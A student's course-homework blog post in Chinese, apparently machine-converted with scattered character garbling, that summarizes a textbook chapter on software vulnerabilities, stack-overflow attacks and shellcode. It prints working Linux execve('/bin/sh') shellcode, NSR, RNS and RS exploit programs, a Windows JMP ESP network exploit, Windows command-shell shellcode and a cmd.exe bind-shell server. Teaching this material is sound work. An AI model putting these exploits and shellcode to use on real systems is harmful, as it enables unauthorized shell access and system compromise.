問題 | 回答 |
---|---|
這個做業屬於哪一個課程 | https://edu.cnblogs.com/campus/besti/19attackdefense |
這個做業的要求在哪裏 | https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10723 |
我在這個課程的目標是 | 學習教材第十章,瞭解緩衝區溢出漏洞和Shellcode的相關知識 |
這個做業在哪一個具體方面幫助我實現目標 | 相關知識點 |
攻擊者可以輕易地對系統和網絡實施攻擊,很大程度上是由於安全漏洞在軟件中的大規模存在,攻擊者能夠利用這些漏洞來違背系統和網絡的安全屬性。安全漏洞在軟件開發週期的各個環節(包括設計、編碼、發佈等)中均可能被引入,而只有軟件設計與開發人員充分認識到安全漏洞的危害、掌握安全漏洞機理,以及如何避免漏洞的安全編程經驗,並在軟件廠商的軟件開發生命週期中切實執行安全設計開發的流程,纔有可能盡欖地減小發布軟件中的安全漏洞數量,下降它們對網絡與現實世界所帶來的影響與危害。html
軟件自從誕生之日起,就和 bug 如影隨行,而其中能夠被攻擊者利用並致使危害的安全缺陷(Security bug)被稱爲軟件安全漏洞(Software Vulnerability)。
美國國家標準技術研究院NIST 將安全漏洞定義爲: 「在系統安全流程、設計、實現或
內部控制中所存在的缺陷或弱點,可以被攻擊者所利用並致使安全侵害或對系統安全策略的違反「,包括三個基本元素:系統的脆弱性或缺陷、攻擊者對缺陷的可訪問性,以及攻擊者對缺陷的可利用性。所以一個安全脆弱性或缺陷真正被稱爲安全漏洞,必須是攻擊者具有至少一種攻擊工具或技術可以訪問和利用到這一缺陷。軟件安全漏洞則被定義爲在軟件的需求規範、開發階段和配置過程當中引入的缺陷實例,其執行會違反安全策略。軟件安全漏洞一樣符合安全漏洞的三個基本元素, 同時被限制於在計算機軟件中。linux
軟件安全困境三要素:複雜性(Complexity)、可擴展性(Extensibility)和連通性(Connectivity),軟件的這三個要素共同做用,使得軟件的安全風險管理成爲了一個巨大的挑戰,從而很難根除安全漏洞。算法
複雜性:計算機軟件通過數十年的發展,現代軟件已經變得很是複雜,並且發展趨勢代表,軟件的規模還會更快地膨脹,變得更加複雜。而軟件規模愈來愈大,愈來愈複雜,也就意味着軟件的bug會愈來愈多。雖然這其中大多數 bug 並不會形成安全問題,或者沒法被攻擊者所利用,但只要攻擊者可以從中發現出少數幾個可利用的安全漏洞,他們就能夠利用這些安全漏洞來危害軟件的使用者。shell
可擴展性:致使軟件安全困境的第二個要素是軟件的可擴展性。現代軟件爲了支持更加優化的軟件架構,支持更好的客戶使用感覺,每每都會提供一些擴展和交互渠道。但正是現代可擴展軟件自己的特性使得安全保證更加困難,首先,很難阻止攻擊者和惡意代碼以不可預測的擴展方式來入侵軟件和系統;其次,分析可擴展性軟件的安全性要比分析一個徹底不能被更改的軟件要因可貴多。編程
連通性:互聯網的普及使得全球更多的軟件系統都連通在一塊兒,不只是接入互聯網的計算機數量快速增長,一些控制關鍵基礎設施的重要信息系統也與互聯網創建起了連通性。高度的連通性使得—個小小的軟件缺陷就有可能影吶很是大的範圍,從而引起巨大的損失。windows
做爲軟件安全漏澗標準目錄 CVE 的維護機構,MITRE 曾給出了在 CVE 中歸檔的安全
漏洞類型統計狀況及發展趨勢, 從安全漏洞的技術機理方面一共列舉出了37類, 並統計了2001-2006 年中最流行的 Top 10 安全漏洞類型,以下圖所示
數組
內存安全違規類(MemorySafety Violations):內存安全違規類漏利是在軟件開發過程當中在處理RAM (random-access memory) 內存訪問時所引入的安全缺陷,如緩衝區溢出漏洞和 Double Free、Use-after-Free 等不安全指針問題等。內存安全違規類漏洞主要出如今 C/C++ 等編程語言所編寫的軟件程序中,因爲這類語言支待任意的內存分配與歸還、任意的指針計算、轉換,而這些操做一般沒有進行保護確保內存安全,於是很是容易引入此類漏洞。sass
輸入驗證類(Input Validation Errors):輸入驗證類安全漏洞是指軟件程序在對用戶輸入進行數據驗證存在的錯誤,沒有保證輸入數據的正確性、合法性和安全性,從而致使可能被惡意攻擊與利用。輸入驗證類安全新洞根據輸入位置、惡意輸入內容被軟件程序的使用方式的不一樣,又包含格式化字符串、SQL 注入、代碼注入、遠程文件包含、目錄遍歷、XSS、HTTP Header 注入、HTTP 響應分割錯誤等多種安全漏洞技術形式。輸入驗證類安全漏洞,特別是針對目前流行的 Web 應用程序的輸入驗證類漏洞,近年來已經成爲攻擊者最廣泛利用的目標。安全
競爭條件類(Race Conditions Errors):競爭條件類缺陷是系統或進程中一類比較特殊的錯誤,一般在涉及多進程或多線和處理的程序中出現,是指處理進程的輸出或者結果沒法預測,並依賴於其餘進程事件發生的次序或時間時,所致使的錯誤。網絡
權限混淆與提高類(Privilege confusion and escalation bugs):權限混淆與提高類漏洞是指計算機程序由千自身編程疏忽或被第三方欺騙,從而濫用其權限,或賦予第三方不應給予的權限。權限混淆與提高類漏洞的具體技術形式主要有 Web 應用程序中的跨站請求僞造(Cross-Site Request Forgery,CSRF)、Clickjacking、FTP反彈攻擊、權限提高、"越獄" (jailbreak) 等。
緩衝區溢出 (Buffer Overflow) 是最先被發現也是最基礎的軟件安全漏洞技術類型之 一。
緩衝區溢出是計算機程序中存在的一類內存安全違規類漏洞,在計算機程序向特定緩衝區內填充數據時,超出了緩衝區自己的容量,致使外溢數據覆蓋了相鄰內存空間的合法數據,從而改變程序執行流程破壞系統運行完整性。理想狀況下,程序應檢查每一個輸入緩衝區的數據長度,並不容許輸入超出緩衝區自己分配的空間容量,可是大量程序老是假設數據長度是與所分配的存儲空間是相匹配的,於是很容易產生緩衝區溢出漏洞。
緩衝區溢出攻擊發生的根本緣由,能夠認爲是現代計算機系統的基礎架構——馮·諾伊曼休系存在本質的安全缺陷,即採用了 「存儲程序」 的原理,計算機程序的數據和指令都在同一內存中進行存儲而沒有嚴格的分離。這一缺陷使得攻擊者能夠將輸入的數據,經過利用緩衝區溢出漏洞,覆蓋修改程序在內存空間中與數據區相鄰存儲的關鍵指令,從而達到使程序執行惡意注入指令的攻擊目的。
命令 | 做用 |
---|---|
break/clear | 來啓用或禁用斷點 |
enable/disable | 來啓用或禁用斷點 |
watch | 可設置監視表達式值改變時的程序中斷 |
run | 運行程序 |
attach | 調試已運行進程 |
continue | 繼續運行 |
next | 單步代碼執行並不進入函數調用 |
nexti | 單步指令執行並不進入函數調用 |
step | 單步代碼並跟入函數調用 |
stepi | 單步指令並跟入函數調用 |
info | 查看各類信息 |
backtrace | 顯示調用棧 |
x | 限制指定地址內容 |
顯示錶達式值 | |
list | 列出程序源碼需調試程序帶符號編譯 |
disass | 反彙編指定函數 |
對於 Windows 平臺,微軟的 Visual Studio、VS.Net 是比較經常使用的集成開發環境,但對於以調試 C/C++ 語言爲主的軟件安全漏洞及滲透利用代碼,使用 VC++ 便可,VC++集成開發環境中集成了微軟自身的 C/C++ 編譯器與鏈接器,以及自帶的調試與反彙編功能。
在熟悉 IA32 架構寄存器以後,咱們還須要熟悉一些經常使用匯編指令的含義,有 IA32 架構彙編語言中,又分爲 Intel 和 AT&T 兩種具備不少差別的彙編格式。在類 UNIX 平臺下,一般使用 AT&T 彙編格式,而在 DOS/Windows 平臺下,則主要使用 Intel 彙編格式。
進程內存管理:Linux 操做系統中的進程內存空間佈局和管理機制: 程序在執行時,系統在內存中會爲程序建立一個虛擬的內存地址空間,在 32 位機上即 4GB 的空間大小,用於映射物理內存,並保存程序的指令和數據;Linux 的進程內存空間佈局以下圖所示,3GB(即0xc0000000)如下爲用戶態空間,3GB-4GB 爲內核態空間;操做系統將可執行程序加載到新建立的內存空間中,程序通常包含 .text、.bss 和 .data 三種類型的段,.text段包含程序指令,在內存中被映射爲只讀,.data 段主要包含靜態初始化的數據,而 .bss 段則主要包含未經初始化的數據,二者都被映射至可寫的內存空間中;加載完成後,系統緊接着就開始爲相序初始化 「棧」 (Stack)和「 堆」 (Heap),「棧」 是一種後進先出的數據結構,其地址空間從商地址向低地址增加,Linux程序運行的環境變量 env 、運行參數 argv、運行參數數量 argc 都被放置在 「棧」 底,而後是主函數及調用 「棧」 中各個函數的臨時保存信息,「堆」 則是一種先進先出的數據結構,用於保存程序動態分配的數據和變量,其地址空間從低地址往高地址增加,與 「棧」 正好相反;程序執行時,就會按照程序邏輯執行 .text 中的指令,並在 「堆」 和 「棧」 中保存和讀取數據。
Windows 操做系統的進程內存空間佈局則與 Linux系統有着一些差別,以下圖所示,2GB-4GB 爲內核態地址空間,用於映射 Windows 內核代碼和一些核心態 DLL,並用於存儲一些內核態對象,0GB-2GB爲用戶態地址空間,高地址段映射了一些大量應用進程所共同使用的系統 DLL,如 Kernel32.dll、User32.dll等,在 1GB 地址位置用於裝載一些應用進程自己所引用的 DLL 文件,可執行代碼區間從0x00400000 開始, 而後是靜態內存空間用於保存全局變量與靜態變量,「堆」 一樣是從低地址向高地址增加,用於存儲動態數據,「棧」 也是從高地址向低地址增加,在單線程進程中通常的 「棧」 底在0x0012XXXX的位置。
函數調用過程:棧結構與函數調用過程的底層細節是理解棧溢出攻擊的重要基礎,由於棧溢出攻擊就是針對函數調用過程當中返回地址在棧中的存儲位置,進行緩衝區溢出,從而改寫返回地址,達到讓處理器指令寄存器跳轉至攻擊者指定位置執行惡意代碼的目的。
程序進行函數調用的過程有以下三個步驟:
緩衝區溢出漏洞根據緩衝區在進程內存空間中的位置不一樣,又分爲棧溢出、堆溢出和內核溢出這三種具體技術形態,棧溢出是指存儲在棧上的一些緩衝區變量因爲存在缺少邊界保護問題,可以被溢出並修改棧上的敏感信息(一般是返回地址),從而致使程序流程的改變。堆溢出則是存儲在堆上的緩衝區變量缺少邊界保護所遭受溢出攻擊的安全問題,內核溢出漏洞存在於一些內核模塊或程序中,是因爲進程內存空間內核態中存儲的緩衝區變量被溢出形成的。
下面以棧溢出安全漏洞爲例,來說解緩衝區溢出攻擊的基本原理
#include <stdio.h> void return_input(void){ char array[30]; gets(array); printf("%s\n", array); } int main (void){ return_input(); return 0; }
這段代碼中return_input()
函數中定義了一個局部變量array
,爲30字節長度的字符串緩衝區,按照咱們對進程內存空間佈局和各種型變量存儲位置的瞭解,函數局部變量將被存儲在棧上, 並位於main()
函數調用時壓棧的下一條指令(即return 0;
) 返回地址之下,而在retum_input()
函數中執行gets
函數將用戶終端輸入至array
緩衝區時,沒有進行緩衝區邊界檢查和保護,所以若是用戶輸入超出30字節的字符串時,輸入數據將會溢出array
緩衝區,從而覆蓋array
緩衝區上方的EBP
和RET
, 一旦覆蓋了RET
返回地址以後,在return_input()
函數執行完畢返回main()
函數時,EIP
寄存器將會裝載棧中RET
位置保存的值,此時該位置已經被溢出改寫爲溢出的字符串,而該字符串多是進程沒法讀取的空間, 因此可能會形成程序的段錯誤(Segmentation fault
)
在上述的示例代碼中,咱們輸入的數據成功地溢出了緩衝區,修改了EBP
和RET
的內容,形成了程序進程的崩潰,若是是一些重要的程序進程,如網絡服務進程,那麼它的崩潰就意味着拒絕服務攻擊。固然真正的黑客不會知足於只是形成程序的崩潰,他們還指望更進一步地控制程序的執行流程,從而經過溢出得到目標程序或系統的訪問控制權。爲了達到這一目標,就須要精心地構造緩衝區溢出攻擊,解決以下三個問題:
RET
返回地址在棧中的存儲位置。來看這段示例代碼
#include <stdio.h> #include <string.h> char shellcode[]= // setreuid(0,0); "\x31\xc0" // xor %eax,%eax "\x31\xdb" // xor %ebx,%ebx "\x31\xc9" // xor %ecx,%ecx "\xb0\x46" // mov $0x46,%al "\xcd\x80" // int $0x80 // execve /bin/sh "\x31\xc0" // xor %eax,%eax "\x50" // push %eax "\x68\x2f\x2f\x73\x68" // push $0x68732f2f "\x68\x2f\x62\x69\x6e" // push $0x6e69622f "\x89\xe3" // mov %esp,%ebx "\x8d\x54\x24\x08" // lea 0x8(%esp,1),%edx "\x50" // push %eax "\x53" // push %ebx "\x8d\x0c\x24" // lea (%esp,1),%ecx "\xb0\x0b" // mov $0xb,%al "\xcd\x80" // int $0x80 // exit(); "\x31\xc0" // xor %eax,%eax "\xb0\x01" // mov $0x1,%al "\xcd\x80"; // int $0x80 char large_string[128]; int main(int argc, char **argv){ char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; for (i = 0; i < (int) strlen(shellcode); i++) large_string[i] = shellcode[i]; strcpy(buffer, large_string); return 0; }
這段示例代碼中 6字節長度的局部變量buffer
在漏洞利用點strcpy()
函數缺少邊界安全保護,攻擊者經過精心構造large_string
這一個128字節長度的數據, 僅在其在低地址包含一段 Shellcode代碼(0—31),而其餘均填充爲指向buffer
起始位置的地址(即被覆蓋後large_string
中的 Shellcode 起始地址),在漏洞利用點執行strcpy
操做以後,buffer
緩衝區會被溢出,main 函數的返回地址RET
將會被覆蓋並改寫爲 Shellcode 的起始地址,所以在return
時,EIP
寄存器裝載改寫後RET
值,並將程序執行流程跳轉至 Shellcode 執行。
在這個示例代碼中,溢出攻擊的第一個關鍵問題——定位須要修改的敏感位置,即棧中的返回地址,根據對棧結構與內存佈局,咱們能夠定位返回地址位於要溢出的buffer變量的高地址位置。第二個關鍵問題——將敏感位置的值修改成什麼,示例代碼中將其改寫爲直接指向 Shellcode 的地址。第三個關鍵問題——執行什麼代碼,示例代碼中保護了一段代碼,用於系統調用,開啓一個命令行 shell。
Linux平臺中的棧溢出攻擊按照攻擊數據的構造方式不一樣,主要有NSR、RNS 和 RS 三種模式。
Nop
指令(即空操做指令)以後填充 Shellcode,再加上一些指望覆蓋RET
返回地址的跳轉地址,從而構成了 NSR 攻擊數據緩衝區。#include<stdio.h> int main(int argc,char **argv){ char buf[500]; strcpy(buf,argv[1]); printf("buf's 0x%8x\n",&buf); getchar(); return 0; }
而後是一段攻擊者精心構造的攻擊代碼
#include<stdio.h> #include<stdlib.h> #include<string.h> char shellcode[]= // setreuid(0,0); "\x31\xc0" // xor %eax,%eax "\x31\xdb" // xor %ebx,%ebx "\x31\xc9" // xor %ecx,%ecx "\xb0\x46" // mov $0x46,%al "\xcd\x80" // int $0x80 // execve /bin/sh "\x31\xc0" // xor %eax,%eax "\x50" // push %eax "\x68\x2f\x2f\x73\x68" // push $0x68732f2f "\x68\x2f\x62\x69\x6e" // push $0x6e69622f "\x89\xe3" // mov %esp,%ebx "\x8d\x54\x24\x08" // lea 0x8(%esp,1),%edx "\x50" // push %eax "\x53" // push %ebx "\x8d\x0c\x24" // lea (%esp,1),%ecx "\xb0\x0b" // mov $0xb,%al "\xcd\x80" // int $0x80 // exit(); "\x31\xc0" // xor %eax,%eax "\xb0\x01" // mov $0x1,%al "\xcd\x80"; // int $0x80 unsigned long get_esp(){ __asm__("movl %esp,%eax"); } int main(int argc,char *argv[]){ char buf[530]; char* p; p=buf; int i; unsigned long ret; int offset=0; /* offset=400 will success */ if(argc>1) offset=atoi(argv[1]); ret=get_esp()-offset; memset(buf,0x90,sizeof(buf)); memcpy(buf+524,(char*)&ret,4); memcpy(buf+i+100,shellcode,strlen(shellcode)); printf("ret is at 0x%8x\n esp is at 0x%8x\n", ret,get_esp()); execl("./vulnerable1","vulnerable1",buf,NULL); return 0; }
攻擊代碼的核心是在於調用vulnerable1
時傳入的字符串。能夠看到咱們在程序中定義的字符串的空間大小是500字節,可是在咱們實際調用的過程當中,傳入的字符串的大小是530字節。咱們如今分析這長度爲530的字符串的組成方式,首先前500字節都被0x90
填充,也就是咱們熟知的NOP
;接下來的就是上文中提到的 Shellcode;最後就是4個字節的地址,這個地址ret
是經過計算獲得的,根據咱們程序參數的不一樣,將跳到咱們使用NOP
設置的着陸區之中,而不管跳轉到哪一個Nop
指令,程序都會繼續執行,並最終運行 Shellcode ,向攻擊者給出 Shell。
#include<stdio.h> int main(int argc,char **argv){ char buf[10]; strcpy(buf,argv[1]); printf("buf's 0x%8x\n",&buf); getchar(); return 0; }
接下來看在 RNS 模式下的攻擊代碼(shellcode部分與上文相同)
#include<stdio.h> #include<stdlib.h> #include<string.h> char shellcode[]; int main(int argc,char **argv){ char buf[500]; unsigned long ret,p; int i; p=&buf; ret=p+70; memset(buf,0x90,sizeof(buf)); for(i=0;i<44;i+=4) *(long *)&buf[i]=ret; memcpy(buf+400+i,shellcode,strlen(shellcode)); execl("./vulnerable2","vulnerable2",buf,NULL); return 0;
一樣地,攻擊代碼的核心是在於調用vulnerable2
時所傳入的字符串。但由於緩衝區的大小隻有10字節,因此攻擊數據按照從低地址到高地址(數組中先定義的爲低地址,後定義的爲高地址)的構造方式是首先填充一些指望覆蓋ret
返回地址的跳轉地址,而後是一堆Nop
指令填充出 「着陸區 」,最後再是 Shellcode。在溢出攻擊以後,攻擊數據將在ret
區段即溢出了目標漏洞程序的小緩衝區,並覆蓋了棧中的返回地址,而後跳轉至Nop
指令所構成的「 着陸區 」,並最終執行 Shellcode。
Nop
空指令構建 「着陸區」 。ret=0xc0000000-sizeof(void*)-sizeof(FILENAME)-sizeof(Shellcode)
漏洞的程序就是上文提到的 vulnerable2.c
接下來咱們給出攻擊代碼(shellcode部分與上文相同)
#include<stdio.h> char shellcode[]; int main(int argc,char **argv){ char buf[32]; char *p[]={"./vulnerable2",buf,NULL}; char *env[]={"HOME=/root",shellcode,NULL}; unsigned long ret; ret=0xc0000000-strlen(shellcode)-strlen("./vulnerable2")-sizeof(void *); memset(buf,0x41,sizeof(buf)); memcpy(&buf[28],&ret,4); printf("ret is at 0x%8x\n",ret); execve("./vulnerable2", "/vulnerable2", buf, env); return 0; }
這個代碼的RET
地址是精確計算出來的。咱們能夠看到計算出的返回地址是基於棧地址開始的位置、惟一的環境變量的長度、函數參數的長度、函數指針的長度計算出來,也就是程序中環境變量。這樣能夠保證在攻擊緩衝區中填充直接跳轉至 Shellcode 的起始地址,在溢出並改寫棧中保存的返回地址以後,程序控制流程將跳
轉至 Shellcode 並執行。
Linux 平臺上的遠程棧溢出攻擊的原理與本地棧溢出是同樣的,區別在於用戶輸入傳遞的途徑不一樣,以及 Shellcode 的編寫方式不一樣。
本地棧溢出的用戶輸入傳遞途徑主要爲 argv 命令行輸入、文件輸入等,而遠程棧溢出的用戶輸入傳遞途徑則是經過網絡,存在遠程棧溢出漏洞的每每是一些網絡服務進程或網絡應用程序,攻擊者能夠在網絡應用層協議交互過程當中,利用上述介紹的模式構造惡意網絡數據包,發送給漏洞程序,從而進行滲透攻擊。
NSR 和 RNS 模式也都適用千遠程棧溢出攻擊, 使用場景也主要取決千被溢出的目標緩衝區大小是否足夠容納 Shellcode。因爲 RS 模式是經過本地的 execve()
將Shellcode 放置在環境變量中傳遞給目標漏洞程序的,所以這種模式不適用於經過網絡的遠程緩衝區溢出攻擊,而只能用於本地緩衝區溢出攻擊。
Shellcode 是一段機器指令,對於咱們一般接觸的 IA32 架構平臺,Shellcode就是符合 Intel 32 位指令規範的一串 CPU 指令, 被用於溢出以後改變系統正常流程,轉而執行 Shellcode 以完成滲透測試者的攻擊目的,一般是爲他提供一個訪問系統的本地或遠程命令行訪問(即Shell)。按照在本地溢出攻擊和遠程溢出攻擊使用場景的不一樣,又分爲本地 Shellcode 和遠程 Shellcode。
execve()
函數啓動/bin/sh
提供命令行。#include <stdio.h> int main ( int argc, char * argv[] ) { char * name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve( name[0], name, NULL ); }
可是咱們沒法直接將這段 C 語言源代碼做爲注入攻擊負載,提供給目標程序進行執
行。做爲可以讓目標程序被溢出以後跳轉執行的代碼,咱們必須提供以二進制指令形式存在的 Shellcode。
mov $0x0,%edx push %edx push $0x68732f6e push $0x69622f2f mov %esp,%ebx push %edx push %ebx mov %esp,%ecx mov $0xb,%eax int $0x80
這段代碼從左到右的次序,分別將execve()
函數的參數NULL(0x0)
、name
變量地址、/bin/sh
字符串地址壓入棧中,而後將eax
賦值爲execve()
系統調用號0xb
,執行int 0x80
軟中斷,即調用了execve()
函數,並將壓棧的輸入參數傳遞給execve()
函數例程,從而完成開啓 Shell 的功能。
xor %edx,%edx push %edx push $0x68732f6e push $0x69622f2f mov %esp,%ebx push %edx push %ebx mov %esp,%ecx mov $0xb,%eax int $0x80
這段代碼與上段代碼具備徹底相同的程序,引入的二進制指令空字節 即OxOO 或NULL) 進行消除,如在mov $0x0, %edx
指令中0x0當即數中存在着的空字節等,進行空字節的消除處便是爲了使得最終編制的 Shellcode 中不有在空字節,從而避免在滲透攻擊中對strcpy()
等字符串操做函數時,在空字節處截斷 Shellcode 導致攻擊失效。
在得到彙編語言實現的 Shellcode 以後,咱們能夠經過查找 Intel opcode 指令參考手冊,便可得到 opcode 二進制指令形式的 Shellcode,最終得到的 opcode 二進制指令代碼以下所示。
char shellcode[] = "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69" "\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
以上咱們介紹了 Linux 系統中一個最簡單的本地 Shellcode 的產生過程,而這個過程事實上也體現了 Shellcode 的通用方法,包括以下 5 個步驟:
從技術上分析,因爲Windows橾什系統與Linux操做系統在進程內存空間佈局、系統
對棧的處理方式、系統功能調用方式等方面的實現差別,雖然棧溢出的基礎原理和大體流程是一致的,但在具體的攻擊實施細節、Shellcode 編制等方面仍是存在一些差異。
爲了應對這前兩點差別對 Windows 平臺上棧溢出攻擊所帶來的挑戰,1999年 Dark Spyrit 提出使用系統核心DLL中的JMP ESP
指令來完成控制流程的跳轉。在函數調用結束裝載返回地址的時刻,ESP 指針剛好是指向了注入攻擊緩衝區數據中的Nop
指令和 Shellcode,那麼若是咱們將返回地址改寫爲一個指向JMP ESP
操做指令的高位地址,使得這個地址中不含空字節(也就不會被字符串操做函數所截斷),那咱們就能夠構造出一段能夠成功實施棧溢出的攻擊數據,由於目標程序在函數調用完成執行RET
指令時,就會將在返回地址位置改寫的指令地址裝載入 EIP 寄存器,並跳轉至該地址繼續執行,而這個地址指向的指令是JMP ESP
,同時 ESP 寄存器又偏偏指向的是棧上 Nop 和 Shellcode 的位置,所以這條指令會幫助咱們將程序流程返回到棧上,轉而執行所注入的 Shellcode 。JMP ESP
的地址能夠在一般能夠在進程內存空間中 1GB 到 2GB 區間中裝載的系統核心DLL (如Kernel32.dll 、User32.dll 等)中找到。
int main() { WSADATA wsa; SOCKET sockFD; char Buff[1024],*sBO; WSAStartup(MAKEWORD(2,2),&wsa); sockFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); struct sockaddr_in server; server.sin_family = AF_INET; server.sin_port = htons(3764); server.sin_addr.s_addr=inet_addr("127.0.0.1"); connect(sockFD,(struct sockaddr *)&server,sizeof(server)); for(int i=0;i<56;Buff[i++]=0x90); strcpy(Buff+56,(char *)eip); strcpy(Buff+60,(char *)sploit); sBO = Buff; send(sockFD,sBO,56+4+560,0); closesocket(sockFD); WSACleanup(); return 1; }
能夠看到傳入字符串的大小是1024字節,而後咱們先填充了若干字節的NOP做爲着陸區,接下來咱們填入了指向JMP ESP
指令的地址,最後將咱們 Shellcode 放到目標地址上,使得send()
將攻擊數據經過socket
發送給目標函數的服務的時候,將處理函數的 ESP 覆蓋,跳轉到咱們事先定義好的 Shellcode
爲了使得 Windows 中的 Shellcode 可以調用操做系統功能以完成攻擊目標,並可以在指望注入的不一樣目標程序中正常運行,咱們須要考慮以下問題:
command.com
或cmd.exe
,Windows 32的系統 API 中提供了system()
函數調用,能夠用於啓動指定程序或運行特定命令,在調用system(command.com
)以後便可啓動命令行程序。LoadLibrary()
函數加載msvcrt.dll
動態連接庫,並經過GetProcAddress()
函數得到system
函數的加載入口地址,賦值給 ProcAdd 函數指針,而後經過函數指針調用 system()
函數, 啓動命令行 Shell:爲了使得目標程序在攻擊以後正常終止,Shellcode 中還能夠調用exit()
函數退出當前進程。#include <windows.h> #include <winbase.h> typedef void (*MYPROC)(LPTSTR); typedef void (*MYPROC2)(int); int main() { HINSTANCE LibHandle; MYPROC ProcAdd; MYPROC2 ProcAdd2; char dllbuf[11] = "msvcrt.dll"; char sysbuf[7] = "system"; char cmdbuf[16] = "command.com"; char sysbuf2[5] = "exit"; LibHandle = LoadLibrary(dllbuf); ProcAdd = (MYPROC)GetProcAddress( LibHandle, sysbuf); (ProcAdd) (cmdbuf); ProcAdd2 = (MYPROC2) GetProcAddress( LibHandle, sysbuf2); (ProcAdd2)(0); }
接下來咱們將其翻譯成彙編語言,獲得的結果以下:
push ebp mov ebp,esp xor eax,eax push eax mov byte ptr[ebp-0Ch],4Dh mov byte ptr[ebp-0Bh],53h mov byte ptr[ebp-0Ah],56h mov byte ptr[ebp-09h],43h mov byte ptr[ebp-08h],52h mov byte ptr[ebp-07h],54h mov byte ptr[ebp-06h],2Eh mov byte ptr[ebp-05h],44h mov byte ptr[ebp-04h],4Ch mov byte ptr[ebp-03h],4Ch mov edx,0x77E5D961 push edx lea eax,[ebp-0Ch] push eax call dword ptr[ebp-10h] /* system("command.com") */ mov esp,ebp push ebp mov ebp,esp xor edi,edi push edi sub esp,08h mov byte ptr [ebp-0ch],63h mov byte ptr [ebp-0bh],6fh mov byte ptr [ebp-0ah],6dh mov byte ptr [ebp-09h],6Dh mov byte ptr [ebp-08h],61h mov byte ptr [ebp-07h],6eh mov byte ptr [ebp-06h],64h mov byte ptr [ebp-05h],2Eh mov byte ptr [ebp-04h],63h mov byte ptr [ebp-03h],6fh mov byte ptr [ebp-02h],6dh lea eax,[ebp-0ch] push eax mov eax, 0x77bf8044 call eax /* exit */ push ebp mov ebp,esp mov edx,0x77c07adc push edx xor eax,eax push eax call dword ptr[ebp-04h]
最後翻譯爲二進制機器碼
char shellcode[] = "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8" "\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA\x61\xD9\xE5\x77\x52" "\x8D\x45\xF4\x50\xFF\x55\xF0\x8B\xE5\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x08\xC6\x45\xF4\x63\xC6\x45\xF5\x6F\xC6" "\x45\xF6\x6D\xC6\x45\xF7\x6D\xC6\x45\xF8\x61\xC6\x45\xF9\x6E\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x63" "\xC6\x45\xFD\x6F\xC6\x45\xFE\x6D\x8D\x45\xF4\x50\xB8\x44\x80\xBF\x77\xFF\xD0\x55\x8B\xEC\xBA\xDC\x7A\xC0\x77" "\x52\x33\xC0\x50\xFF\x55\xFC";
#include <winsock2.h> #include <stdio.h> #pragma comment (lib,"ws2_32") int main() { WSADATA wsa; SOCKET listenFD; char Buff[1024]; int ret; WSAStartup(MAKEWORD(2,2),&wsa); listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); struct sockaddr_in server; server.sin_family = AF_INET; server.sin_port = htons(53764); server.sin_addr.s_addr=ADDR_ANY; ret=bind(listenFD,(sockaddr *)&server,sizeof(server)); ret=listen(listenFD,2); int iAddrSize = sizeof(server); SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize); /* 這段代碼是用來創建一個Tcp Server的,咱們先申請一個socketfd, 使用53764(隨便,多少都行)做爲這個socket鏈接的端口,bind他, 而後在這個端口上等待鏈接listen。程序阻塞在accept函數直到有 client鏈接上來。 */ SECURITY_ATTRIBUTES sa; sa.nLength=12;sa.lpSecurityDescriptor=0;sa.bInheritHandle=true; HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2; ret=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0); ret=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0); /* 建立兩個匿名管道。hReadPipe只能用來讀管道,hWritePipe1只能用來寫管道。 */ STARTUPINFO si; ZeroMemory(&si,sizeof(si)); si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; si.wShowWindow = SW_HIDE; si.hStdInput = hReadPipe2; si.hStdOutput = si.hStdError = hWritePipe1; char cmdLine[] = "cmd.exe"; PROCESS_INFORMATION ProcessInformation; ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation); /* 這段代碼建立了一個shell(cmd.exe),而且把cmd.exe的標準輸入用第二個管道的讀句柄替換。cmd.exe的標準輸出和標準錯誤輸出用第一個管道的寫句柄替換。 這兩個管道的邏輯示意圖以下: (父進程) read<---〔管道一〕<---write 標準輸出(cmd.exe子進程) (父進程) write--->〔管道二〕--->read 標準輸入(cmd.exe子進程) */ unsigned long lBytesRead; while(1) { ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0); if(lBytesRead) { ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0); if(!ret) break; ret=send(clientFD,Buff,lBytesRead,0); if(ret<=0) break; }else { lBytesRead=recv(clientFD,Buff,1024,0); if(lBytesRead<=0) break; ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0) ; if(!ret) break; } } /* 這段代碼完成了客戶輸入和shell的交互。PeekNamedPipe用來異步的查詢管道一,看看shell是否有輸出。若是有就readfile讀出來,併發送給客戶。若是沒有,就去接受客戶的輸入。並 writefile 寫入管道傳遞給shell. 這兩個管道與client和server的配合邏輯圖以下: 輸入命令(Client) <-- send(父進程)read<--〔管道一〕<--write 標準輸出(cmd.exe子進程) 得到結果(Client) recv-->(父進程)write-->〔管道二〕-->read 標準輸入(cmd.exe子進程) */ return 0; }
堆溢出(Heap Overflow)是緩衝區溢出中第二種類型的攻擊方式,因爲堆中的內存分配與管理機制較棧更爲複雜,不一樣操做系統平臺的實現機制都具備顯著的差別,同時經過堆中的緩衝區溢出控制目標程序執行流程須要更精妙的構造,所以堆溢出攻擊的難度較棧溢出要複雜不少,真正掌握、理解並運用堆溢出攻擊也更爲困難一些。
